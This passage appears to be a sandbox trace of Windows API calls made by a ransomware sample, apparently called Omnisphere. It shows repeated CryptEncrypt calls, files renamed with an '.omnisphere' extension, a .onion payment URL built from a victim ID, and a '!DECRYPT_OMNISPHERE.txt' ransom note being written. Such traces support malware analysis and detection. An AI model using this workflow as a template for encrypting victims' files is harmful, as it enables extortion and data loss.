dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.147] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.147] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.147] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.147] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.148] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.149] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.150] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptEncrypt (in: hKey=0x1639528, hHash=0x0, Final=0, dwFlags=0x0, pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10, dwBufLen=0x10 | out: pbData=0x3e0d228*, pdwDataLen=0x3e0d23c*=0x10) returned 1 [0119.151] CryptDestroyKey (hKey=0x1639528) returned 1 [0119.151] CryptReleaseContext (hProv=0x16682c8, dwFlags=0x0) returned 1 [0119.151] SetFilePointerEx (in: hFile=0x28c, liDistanceToMove=0x506, lpNewFilePointer=0x0, dwMoveMethod=0x3e0d7c0 | out: lpNewFilePointer=0x0) returned 1 [0119.151] WriteFile (in: hFile=0x28c, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d7d4, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d7d4*=0x524, lpOverlapped=0x0) returned 1 [0119.152] GetProcessHeap () returned 0x1600000 [0119.152] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x2b6) returned 0x165e9d8 [0119.152] MoveFileW (lpExistingFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7npl ktnmo.flv.lnk"), lpNewFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk.omnisphere" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7npl ktnmo.flv.lnk.omnisphere")) returned 1 [0119.153] lstrcatW (in: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk.omnisphere", lpString2=".id" | out: lpString1="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk.omnisphere.id") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk.omnisphere.id" [0119.153] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk.omnisphere.id" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\7npl ktnmo.flv.lnk.omnisphere.id"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x3c0 [0119.153] WriteFile (in: hFile=0x3c0, lpBuffer=0x3e0d274*, nNumberOfBytesToWrite=0x524, lpNumberOfBytesWritten=0x3e0d25c, lpOverlapped=0x0 | out: lpBuffer=0x3e0d274*, lpNumberOfBytesWritten=0x3e0d25c*=0x524, lpOverlapped=0x0) returned 1 [0119.154] CloseHandle (hObject=0x3c0) returned 1 [0119.156] UnmapViewOfFile (lpBaseAddress=0x1480000) returned 1 [0119.156] CloseHandle (hObject=0x288) returned 1 [0119.156] SetEndOfFile (hFile=0x28c) returned 1 [0119.156] FlushFileBuffers (hFile=0x28c) returned 1 [0119.161] CloseHandle (hObject=0x28c) returned 1 [0119.161] PathRemoveFileSpecW (in: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\7npl KTnMO.flv.lnk" | out: pszPath="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent") returned 1 [0119.161] GetProcessHeap () returned 0x1600000 [0119.161] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x515) returned 0x16b2340 [0119.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 30 [0119.161] GetProcessHeap () returned 0x1600000 [0119.161] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x1f) returned 0x16b2108 [0119.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="http://uu6issmbncd3wjkm.onion/", cchWideChar=30, lpMultiByteStr=0x16b2108, cbMultiByte=31, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="http://uu6issmbncd3wjkm.onion/", lpUsedDefaultChar=0x0) returned 30 [0119.161] lstrcatA (in: lpString1="", lpString2="http://uu6issmbncd3wjkm.onion/" | out: lpString1="http://uu6issmbncd3wjkm.onion/") returned="http://uu6issmbncd3wjkm.onion/" [0119.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x0, cbMultiByte=0, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr=0x0, lpUsedDefaultChar=0x0) returned 16 [0119.161] GetProcessHeap () returned 0x1600000 [0119.161] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x11) returned 0x16afe48 [0119.161] WideCharToMultiByte (in: CodePage=0x0, dwFlags=0x0, lpWideCharStr="RHPZ2AXYR2V4JCIV", cchWideChar=16, lpMultiByteStr=0x16afe48, cbMultiByte=17, lpDefaultChar=0x0, lpUsedDefaultChar=0x0 | out: lpMultiByteStr="RHPZ2AXYR2V4JCIV", lpUsedDefaultChar=0x0) returned 16 [0119.161] lstrcatA (in: lpString1="http://uu6issmbncd3wjkm.onion/", lpString2="RHPZ2AXYR2V4JCIV" | out: lpString1="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV") returned="http://uu6issmbncd3wjkm.onion/RHPZ2AXYR2V4JCIV" [0119.161] GetProcessHeap () returned 0x1600000 [0119.161] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0xb0) returned 0x16a2758 [0119.162] PathCombineW (in: pszDest=0x16a2758, pszDir="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent", pszFile="!DECRYPT_OMNISPHERE.txt" | out: pszDest="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt") returned="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" [0119.162] GetProcessHeap () returned 0x1600000 [0119.162] RtlAllocateHeap (HeapHandle=0x1600000, Flags=0x8, Size=0x589) returned 0x16a6868 [0119.162] CreateFileW (lpFileName="C:\\Users\\FD1HVy\\AppData\\Roaming\\Microsoft\\Windows\\Recent\\!DECRYPT_OMNISPHERE.txt" (normalized: "c:\\users\\fd1hvy\\appdata\\roaming\\microsoft\\windows\\recent\\!decrypt_omnisphere.txt"), dwDesiredAccess=0x40000000, dwShareMode=0x7, lpSecurityAttributes=0x0, dwCreationDisposition=0x4, dwFlagsAndAttributes=0x0, hTemplateFile=0x0) returned 0x28c [0119.162] WriteFile (in: hFile=0x28c, lpBuffer=0x16a6868*, nNumberOfBytesToWrite=0x588, lpNumberOfBytesWritten=0x3e0d7f4, lpOverlapped=0x0 | out: lpBuffer=0x16a6868*, lpNumberOfBytesWritten=0x3e0d7f4*=0x588, lpOverlapped=0x0) returned 1 [0119.162] CloseHandle (hObject=0x28c) returned 1 [0119.162] GetProcessHeap () returned 0x1600000 [0119.162] HeapFree (in: hHeap=0x1600000, dwFlags=0x0, lpMem=0x16b2340 | out: hHeap=0x1600000) returned 1 [0119.163] GetProcessHeap () returned 0x1600000 